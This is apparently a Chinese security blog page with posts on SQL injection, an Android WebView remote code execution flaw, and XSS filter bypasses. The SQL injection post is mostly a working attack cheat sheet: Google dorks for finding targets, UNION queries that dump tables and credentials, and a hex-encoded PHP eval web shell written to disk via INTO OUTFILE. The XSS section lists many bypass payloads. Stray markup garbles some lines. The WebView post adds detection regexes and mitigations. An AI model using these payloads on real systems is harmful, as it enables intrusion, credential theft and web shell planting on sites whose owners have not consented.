2015-04-21

SQL注入测试思路

SQL注入测试思路整理

一.搜索可能有漏洞的网站

利用google收集信息,可以搜索的关键词很多,网上有个术语,把这些称作“Google Dorks”

    inurl:index.php?id=
    inurl:gallery.php?id=
    inurl:article.php?id=
    inurl:pageid=
    site: http:// www.xxx.com  inurl:php?id= //针对某个特定的网站

二.检测一下目标是否有明显漏洞

搜索结果会出来一大堆,一个简单的测试方式是在Url末尾的数字后面加单引号或者加上 and 1=1 或者 1=2
看看界面是否有明显变化或者直接就给出SQL的报错语句了。

    http://localhost/test/get.php?id=1 and 1=1
    http://localhost/test/get.php?id=1 and 1=2


三.看看该表有多少个字段

测试语句: order by number
一般从小往大的尝试,比如1,2,3,4,5都能看见网页界面,然后6就报错了,那么很明显这个网页对应的表只有5个字段

四.找到有漏洞的字段

将存在注入点的字段值改为负,目的是不显示数据
然后注入语句为 union select 1,2,3,4,5 (数字为字段个数)
找到漏洞的字段,即能被显示出来的字段,用于显示获取的注入信息

五.找到对应的版本号,数据库和用户

将第四部显示的字段值分别替换version(), user(), database()获取数据库信息

六.爆库

MySql.version() > 5

如果获取的版本为Mysql 5以上,则有内置库information_schema,存储着mysql的所有数据库和表结构信息

1.获取该库下其他表

将漏洞字段替换为groupconcat(tablename) 然后语句后边添加 from informationschema.tables where tableschema=database()
sql
http://localhost/test/get.php?id=-1 union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema=database()

2.获取表中字段名

把"groupconcat(tablename)“替换成"groupconcat(columnname)”
把"from informationschema.tables where tableschema=database()–“ 替换成"FROM informationschema.columns WHERE tablename=表名—
其中表明需要编码
sql
http://localhost/test/get.php?id=-1 union select group_concat(column_name),2,3,4 from information_schema.columns where table_name=CHAR(115, 113, 108, 105, 110, 106, 101, 99, 116) //table_name = sqlinject

3.查询表获得账户等信息

例如获取user,password,email 字段内容
用group_concat(user,0x3a, password,0x3a, email)替换之前内容,数据库选择sqlinject,其中0x3a为分隔符
sql
http://localhost/test/get.php?id=-1 union select group_concat(user,0x3a, password,0x3a, email),2,3,4 from sqlinject

MySql.version() < 5

如果获取的版本为Mysql 5以下,就需要暴力猜解表名

1.猜解表名

一般的表的名称无非是admin adminuser user pass password 等
sql
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) — 判断是否存在admin这张表

2.猜帐号数目

如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
sql
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)

3.猜解字段名称

一般字段名是user,password,name,pwd,email,phone等
在len( ) 括号里面加上我们想到的字段名称.
sql
and 1=(select count(*) from admin where len(*)>0)–
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)

4.猜解各个字段的长度

猜解长度就是把>0变换,直到返回正确页面为止
”`sql
and 1=(select count() from admin where len()>0)
and 1=(select count() from admin where len(name)>6) 错误
and 1=(select count(
) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确

and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确
#### 5.猜解字符
```sql
    and 1=(select count(*) from admin where left(name,1)=a) —猜解用户帐号的第一位
    and 1=(select count(*) from admin where left(name,2)=ab)—猜解用户帐号的第二位

就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
sql
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51)

这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

    group by users.id having 1=1
    group by users.id, users.username, users.password, users.privs having 1=1
    ; insert into users values( 666, attacker, foobar, 0xffff )
    UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank>_NAME=logintable
    UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id)
    UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)
    UNION Select TOP 1 login_blank>_name FROM logintable
    UNION Select TOP 1 password FROM logintable where login_blank>_name=Rahul

七.挂马

1.判断数据库权限

    and ord(mid(user(),1,1))=114 /* 返回正常说明为root


2.直接写马

  • 1.知道站点物理路径
  • 2.有足够大的权限(如root)(可以用select …. from mysql.user测试)
  • 3.magicquotesgpc()=OFF

select 一句话 into outfile “物理路径”
<?php @eval($_POST[‘igigt’]);?> 转为16进制形式 0x3C3F70687020406576616C28245F504F53545B276967696774275D293B3F3E
sql
http://localhost/test/get_root.php?id=1 union select 0x3C3F70687020406576616C28245F504F53545B276967696774275D293B3F3E,2,3,4 from mysql.user into outfile "d:\igigt.php"

在D盘目录下即可找到一句话,然后菜刀连

3.通过建临时表写马

    CREATE TABLE igigt(cmd text)
    INSERT INTO igigt(cmd) VALUES("<?php @eval($_POST['igigt']);?>") // 或(推荐0x方式)
    INSERT INTO igigt(cmd) VALUES(0x3C3F70687020406576616C28245F504F53545B276967696774275D293B3F3E)
    SELECT cmd FROM igigt into OUTFILE "d:\\test.php"
    DROP TABLE igigt

4.LOAD_FILE

LOAD_FILE可以加载文件,对获取网站信息以及物理路径有很大帮助,不过同outfile一样也需要root权限
sql
http://localhost/test/get_root.php?id=1 union select LOAD_FILE("d:\\igigt.php")

5.权限不够

提权或者扫后台,解密用户名密码(一般为MD5加密)登录之后挂马

八.其他

1.登录弱密码

user:admin' or ‘1’=‘1
pwd:admin’ or ‘1’=‘1

2.确认数据库类型

只有MYSQL解析
sql
and ord(mid(version(),1,1))>51/* 确认数据库版本 51是ASCII码3 正确则>4.0 错误则<4.0
http://localhost/test/get.php?id=1 and ord(mid(version(),1,1))>51

两错为access 一错二对为mssql(SQLServer)
sql
and (select count(*) from sysobjects)>0 //msysobjects为access特有 但默认无权限读取
and (select count(*) from msysobjects)>0 //sysobjects为mssql特有

3.操作系统信息

    and 1=2 union all select @@global.version_compile_os from mysql.user

访问mysql.user需要root权限

4.利用内置变量

    http://www.mytest.com/showdetail.asp?id=49 ;and user>0

user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为 nvarchar。
拿一个 nvarchar 的值跟 int 的数 0 比较,系统会先试图将 nvarchar 的值转成 int 型,
当然,转的过程中肯定会出错,SQLServer 的出错提示是:将 nvarchar 值 ”abc” 转换数据类型为 int 的列时发生语法错误,
abc 正是变量 user 的值,这样,不废吹灰之力就拿到了数据库的用户名。

类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。

5.下载网站备份文件

    http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\\inetpub\\wwwroot1.db’;--

拿到的数据库名,加上某些 IIS 出错暴露出的绝对路径,将数据库备份到 Web 目录下面,再用 HTTP 把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!
或者也可以尝试扫描整个网站目录,也有机会下载到网站备份文件。

6.经验小结

1.有些人会过滤 Select、Update、Delete 这些关键字,但偏偏忘记区分大小写,所以大家可以用 selecT 这样尝试一下。
2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。
3.地址栏的+号传入程序后解释为空格,%2B 解释为 + 号,%25 解释为 % 号,具体可以参考 URLEncode 的相关介绍。
4.用Get方法注入时,IIS会记录你所有的提交字符串,对 Post 方法做则不记录,所以能用 Post 的网址尽量不用Get。
5.猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即可,但是如果能用 SQLServer 的报错信息把值暴露出来,那效率和准确率会有极大的提高。

2015-04-09

WebView组件远程代码执行漏洞

       在android的sdk中封装了webView控件,在webView下有一个非常特殊的接口函数addJavascriptInterface,利用这个接口函数可实现穿透webkit控制android 本机。

简介

       Webview是Android用于浏览网页的组件,它的接口函数addJavascriptInterface可以实现网页JS与本地JAVA的交互,但是没有限制已注册JAVA类的方法调用,导致可以利用反射机制调用未注册的其它任何JAVA类。当Android用户访问恶意网页时,会被迫执行系统命令,如安装木马、盗取敏感数据等。

漏洞详情

构建一个使用Webview组件的程序

1. AndroidManifest.xml添加网络访问权限

<uses-permission android:name="android.permission.INTERNET"/>


2. activity_my.xml添加Webview控件

   <WebView
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:id="@+id/webView">
    </WebView>

3. MainActivity.java添加关键代码

    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        // add webview func
        WebView webview = (WebView)findViewById(R.id.webView);
        webview.getSettings().setJavaScriptEnabled(true);
        webview.loadUrl("http://info.idhyt.xyz/vultest/checkwebview.html");");


4. 测试页面

       webview漏洞测试页面
       webview漏洞利用页面

5. 测试结果

       在没有使用addJavascriptInterface接口函数的情况下,
也会存在远程代码执行漏洞,原因是webview组件默认调用”searchBoxJavaBridge_”对象。
       

       当使用addJavascriptInterface接口函数时,代码改为
“`java
WebView webview = (WebView)findViewById(R.id.webView);
webview.getSettings().setJavaScriptEnabled(true);
webview.getSettings().setJavaScriptCanOpenWindowsAutomatically(true);
webview.addJavascriptInterface(new test(), "test”);
webview.loadUrl(“http://info.idhyt.xyz/vultest/checkwebview.html”);

class test{
    //do something...
}
&#160; &#160; &#160; &#160;测试结果
&#160; &#160; &#160; &#160;![](https://raw.githubusercontent.com/idhyt/dummyimg/master/blogs/tech/webview-2.png)

&#160; &#160; &#160; &#160;可以看到,即便test类没有具体实现代码,也一样会触发漏洞。
<br/>

### 漏洞检测
&#160; &#160; &#160; &#160;通过编写静态扫描器过滤出可能存在问题的apk,方法是通过apktool将apk文件反编译成smali,之后进行暴力搜索关键字。
&#160; &#160; &#160; &#160;![](https://raw.githubusercontent.com/idhyt/dummyimg/master/blogs/tech/webview-3.png)
<br/>
其中用到的几个关键的正则:
```python
    获取类名
    r"^\.class.+(Lcom.+);"
    获取所有method
    r"(\.method[\s\S]*?\.end *method)"
    获取method方法类型
    r"^\.method.+ +(\w+) *\("
    获取method中的.line
    r"\.line([\s\S]*?)(?=(\.line))"
    获取指定的调用函数
    r"setJavaScriptEnabled|addJavascriptInterface"

防范

  • 使用removeJavascriptInterface(“searchBoxJavaBridge”)移除searchBoxJavaBridge对象 1.重构WebView控件(WebViewEx)
package com.example.idhyt.webview;

import android.content.Context;
import android.os.Build;
import android.util.AttributeSet;
import android.webkit.WebView;

/**
 * Created by idhyt on 2015/4/28.
 */
public class WebViewEx extends WebView {
    public WebViewEx(Context context, AttributeSet attrs) {
        super(context, attrs);
        // TODO Auto-generated constructor stub
        if (Build.VERSION.SDK_INT > 10 && Build.VERSION.SDK_INT < 17) {
            removeJavascriptInterface("searchBoxJavaBridge_");
            // removeJavascriptInterface("accessibility");
            // removeJavascriptInterface("accessibilityTraversal");
        }

    }
}

2.修改系统解析XML中定义的属性回调方法(layout\activity_main.xml中)

<com.example.idhyt.webview.WebViewEx
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:id="@+id/webView" />

3.调用WebViewEx控件

public class MainActivity extends ActionBarActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
    WebViewEx webview = (WebViewEx)findViewById(R.id.webView);
    webview.getSettings().setJavaScriptEnabled(true);
    webview.loadUrl("http://info.idhyt.xyz/vultest/checkwebview.html");
    }
    
    // other function
}
  • 确保只在访问可信页面数据时才使用addjavascriptInterface。
  • 在调用Java对象方法前对参数进行检查,避免执行恶意操作。
  • 对于在4.2(API 17+)系统运行的应用,使用JavascriptInterface代替addjavascriptInterface。
  • 限制对于该接口的使用来源,只允许可信来源访问该接口。例如使用WebViewClient中的shouldOverrideUrlLoading()来对加载的URL进行检查。

参考

  1. Abusing WebView JavaScript Bridges
  2. WebView中接口隐患与手机挂马利用
  3. Android WebView的Js对象注入漏洞解决方案

2014-10-15

xss bypass

xss绕过技巧整理

几种弹窗绕过

alert(1) = Function(alert(1))()
= Function(String.fromCharCode(97,108,101,114,116,40,49,41))()
97,108,101,114,116,40,49,41对应alert(1) ascii码的10进制形式(Text2Dec)
//小写function
(function(){
    alert(1)
})()

alert(1) confirm(1)  prompt(1)
<SVG/onload=prompt(1)>
<BODY onload="alert('XSS')">
<img src=1 onerror=alert(1)>
<img src onerror=alert(1)>
<script src=alert(1)></scirpt>
<form action="javascript:prompt(1)" method="post"><input name="action" value="b"></form> 

eg:
<p class="comment" title=""><svg/a="></p>
<p class="comment" title=""onload='/*"></p>
<p class="comment" title="*/prompt(1)'"></p>   ==》<p class="comment" title=""><svg/a=""xxx"/onload='prompt(21)'"></p>
//过滤= 括号等 使用xml编码
<svg> <script>prompt&#40;1)</script>  
//在SVG向量里面的<script>元素(或者其他CDATA元素 ),会先进行xml解析。因此&#x28(十六进制)或者&#40(十进制)或者&lpar;(html实体编码)会被还原成(。
可以不封的有:
<img><br><input><li><p><SVG>
其他标签不封闭会造成页面显示错误等问题。

xss中最经常用到的编码

html实体编码(10进制与16进制):
如把尖括号编码[ < ]  -----> html十进制: &#60;  html十六进制:&#x3c;
javascript的八进制跟十六进制:
如把尖括号编码[ < ]  -----> js八进制:\74  js十六进制:\x3c
jsunicode编码:
如把尖括号编码[ < ]  ----->jsunicode:\u003c
url编码:
如把尖括号编码[ < ]  -----> url: %22
base64编码:
如把尖括号编码[ < ]  -----> base64: Ig==

一些绕过方法

换行符 %0a
反斜线 %5c (js中字符串可以用\分开)
<>  %3C%3E
注释/**/可以代替 空格符
%c0(宽字符gb2312)可以吃掉%5c(反斜线) 
javascript中的字符可以写成unicode编码:
< 可以表示为 \u003c , > 可以表示为 \u003e,空格可以表示为\u0020
< 可以表示为 \x3c , > 可以表示为 \x3e,空格可以表示为\x20
<img src=1 onerror=alert(1)>   ----> \u003Cimg\u0020src=1\u0020onerror=alert(1)\u003e
                                                 ---->  \x3Cimg\u0020src=1\u0020onerror=alert(1)\x3e

JS字符串中,字符还可以表示为unicode的形式。即:单引号还可以表示为\u0027或\x27,可尝试\有没有被过滤
<textarea>、<title>、<iframe>标签不解析HTML
"h"+"t"+"t"+"p",绕过对http的过滤
<input onfocus="alert(1)" autofocus>,自动执行
<scr<script>ipt>绕过对<script>的过滤
/**/绕过对空格的过滤<script>document.write("<img/**/src='1'/**/onerror='alert(1)'/>");</script>
<script>标签中多对输入可以结合/**/的使用
var a = "";/*"; 值为:";/*,(首先闭合双引号,然后使用/*注释,与下面注释进行闭合)var b = "*/alert(1)//"; 值为:*/alert(1)//

如果是图片可能是判定后缀名在最后加上.jpg
突破对长度的限制<script>eval(location.hash.slice(1))</script>#alert(‘a’)
data协议,绕过chrome 
filter.php?url=<a href='data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='>click<a>
IE的注释方式<!--[if IE]><img src=# width=0 height=0 onerror=alert(/insight-labs/)><![endif]-->

chrome会自动对", >, < 进行转换。
<script>alert(1)</script>
chrome会过滤为<script></script>,绕过:<script src='127.0.0.1/1.js'></script> 其中1.jp也可以是1.jpg等,内容为js代码如:alert(1)

chrome如何搜索关键字

基本语句肯定是 site:qq.com filetype:swf
意思是,限定域名为qq.com 文件类型为FLASH文件。
显然这样会搜索出很多FLASH文件,不利于我们后续的漏洞查找,所以我们需要输入某个关键词来进一步缩小范围。
这里我列举一些寻找关键词的方式。

  1. 已知存在缺陷的FLASH文件名或参数名,如:swfupload,jwplayer等
  2. 多媒体功能的FLASH文件名,如:upload,player, music, video等
  3. 调用的外部配置或数据文件后缀,如: xml, php 等
  4. 前期经验积累下来的程序员特征参数名用词,如: callback, cb , function 等

结合以上经验,使用其中第三条:
搜索: site:qq.com filetype:swf inurl:xml
可以找到这个FLASH

插入漏洞方式

1 JavaScript中字符串之间的运算利用
<a href="javascript:alert(1)//html">click me</a>
<a href="javascript:alert(1)-html">click me</a>
执行呈现相同的效果,因为javascript是弱类型语言,所以字符串与字符串之间的各种运算都是合法的

2 HTML属性在执行时会做HTMLDecode编码
HTML属性:十进制和十六进制,&#56和&#x5a形式 
CSS属性:十进制和十六进制,\6c形式
JavaScript:八进制和十六进制,\56,和\x5c形式,汉字需要使用Unicode编码,\u0000形式
<img src="http://www.baidu.com/img/bdlogo.gif">
<img src="&#x68;&#x74;&#x74;&#x70;&#x3a;&#x2f;&#x2f;&#x77;&#x77;&#x77;&#x2e;&#x62;&#x61;&#x69;&#x64;&#x75;&#x2e;&#x63;&#x6f;&#x6d;&#x2f;&#x69;&#x6d;&#x67;&#x2f;&#x62;&#x64;&#x6c;&#x6f;&#x67;&#x6f;&#x2e;&#x67;&#x69;&#x66;";>
需要留出双引号,不可对双引号进行转移

3、宽字节处理addslashs,单引号、双引号、反斜杠之前加反斜杠的情况
原理:网页头部指明这是GBK编码,GBK编码第一字节的范围是0x81~0xFE,第二字节的范围是0x40~0x7E与0x80~0xFE,这样的十六进制表示。而\符号的十六进制表示为0x5C,正好是GBK的低字节中,如果之前有一个高字节,那么正好会被组成一个合法字符。
<?php 
header("Content-Type:text/html;charset=GBK");?>  
<script>      
var a="
<?php 
echo addslashes($_GET['url']);
?>
";  
</script>
?>  构造:.php?url=123%81";alert(1);//

4、UTF-7编码(仅IE支持,会自动判断是否出现UTF-7编码的字符串)

DOM xss特点

  1. 利用代码也是在地址栏里输入,
  2. 在JS里,通过location.search得到地址里的代码,类似的还有: A.location.href : 地址栏里的地址, B.location.hash: 地址栏里#及其之后的内容, C.document.referrer: 当前页面的源(比如你从A.com点一个链接进入了B.com,那么B.com里的document.referrer等于A.com)
  3. 通过JS设置了iframe的src属性,这是一个典型的通过JS操作属性而导致的XSS。

查找此类漏洞的方法

  1. 以location为关键词进行查找,
  2. 进而看location传入的参数是否被过滤后再进行使用。
  3. 如有未过滤而被调用的情况,则考虑如何构造利用代码。

11个免费的Web安全测试工具

  1. Netsparker Community Edition(Windows) 这个程序可以检测SQL注入和跨页脚本事件。当检测完成之后它会给你提供一些解决方案。
  2. Websecurify(Windows, Linux, Mac OS X) 这是个简单易用的开源工具,此程序还有一些人插件支持,可以自动检测网页漏洞。运行后可生成多种格式的检测报告
  3. Wapiti(Windows, Linux, Mac OS X) 这是一个用Python编写的开源的工具,可以检测网页应用程序,探测网页中存在的注入点。
  4. N-Stalker Free Version(Windows) 此工具可一次检测100个以上的页面,包括跨页脚本的检测。
  5. skipfish(Windows, Linux, Mac OS X) 这是一个轻量级的安全测试工具,处理速度很快,每秒可处理2000个请求。
  6. Scrawlr(Windows) HP的一款免费软件,可检测SQL注入漏洞。
  7. Watcher(Windows) http://websecuritytool.codeplex.com/documentation 这个是Fiddler的插件,可在后台静默运行,可检测跨域提交等。。
  8. x5s(Windows) http://xss.codeplex.com/releases/view/43170 跟前一个一样也是Fiddler的插件,用于检测存在XSS漏洞,在网页提供给用户输入的地方是否有过滤<, >等字符。
  9. Exploit-Me(Windows, Linux, Mac OS X) 这个是火狐的插件,由XSS-Me,SQL Inject Me 和 Access-Me 这3个构成,当浏览网页时就会开始检测,可检测XSS漏洞,SQL注入漏洞等。
  10. WebScarab(Windows, Linux, Mac OS X) 这个实际上是一个代理软件,有很多功能,可以检测XSS跨站脚本漏洞、SQL注入漏洞等。。
  11. Acunetix Free Version(Windows) 这个是免费版,相对于专业版来说有一些功能限制,不过还是可以用的,可检测网站上的XSS漏洞。

其他

  1. 二哥的XSS教学 - by gainover
    http://xsst.sinaapp.com/example/1-1.php
  2. 心伤的瘦子 [腾讯实例教程] 那些年我们一起学XSS) http://www.wooyun.org/whitehats/%E5%BF%83%E4%BC%A4%E7%9A%84%E7%98%A6%E5%AD%90/type/1/page/1
  3. HTML特殊字符编码对照表 http://www.jb51.net/onlineread/htmlchar.htm
  4. html字符实体 http://www.w3school.com.cn/html/html_entities.asp
  5. xss字符转换工具: http://app.baidu.com/app/enter?appid=280383

Android Root Zap Framework

‎ 1. Warning 请遵守GPL开源协议, 请遵守法律法规, 本项目仅供学习和交流, 请勿用于非法用途! 道路千万条, 安全第一条, 行车不规范, 亲人两行泪. 2. Android Root Zap Frame...